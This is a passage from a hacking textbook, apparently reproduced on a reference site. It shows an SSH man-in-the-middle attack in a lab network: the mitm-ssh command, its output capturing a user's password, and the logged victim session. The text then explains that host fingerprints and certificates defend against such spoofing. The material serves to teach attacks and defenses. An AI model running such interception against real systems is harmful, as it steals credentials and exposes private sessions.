Graphics Programs Reference
In-Depth Information
Connection to 192.168.42.72 closed.
i z@tetsuo:~ $
Everything seems okay, and the connection appeared to be secure.
However, the connection was secretly routed through the attacker's
machine, which used a separate encrypted connection to back to the
target server. Back on the attacker's machine, everything about the
connection has been logged.
On the Attacker's Machine
reader@hacking:~ $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
WARNING: /usr/local/etc/moduli does not exist, using fixed modulus
[MITM] Found real target 192.168.42.72:22 for NAT host 192.168.42.250:1929
[MITM] Routing SSH2 192.168.42.250:1929 -> 192.168.42.72:22
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt
[MITM] Connection from UNKNOWN:1929 closed
reader@hacking:~ $ ls /usr/local/var/log/mitm-ssh/
passwd.log
ssh2 192.168.42.250:1929 <- 192.168.42.72:22
ssh2 192.168.42.250:1929 -> 192.168.42.72:22
reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/passwd.log
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt
reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/ssh2*
Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72
Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686
jose@loki:~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples
jose@loki:~ $ id
uid=1001(jose) gid=1001(jose) groups=1001(jose)
jose@loki:~ $ exit
l ogout
Since the authentication was actually redirected, with the attacker's
machine acting as a proxy, the password sP#byp%srt could be sniffed. In
addition, the data transmitted during the connection is captured, showing
the attacker everything the victim did during the SSH session.
The attacker's ability to masquerade as either party is what makes this
type of attack possible. SSL and SSH were designed with this in mind and
have protections against identity spoofing. SSL uses certificates to validate
identity, and SSH uses host fingerprints. If the attacker doesn't have the
proper certificate or fingerprint for B when A attempts to open an encrypted
Search WWH ::




Custom Search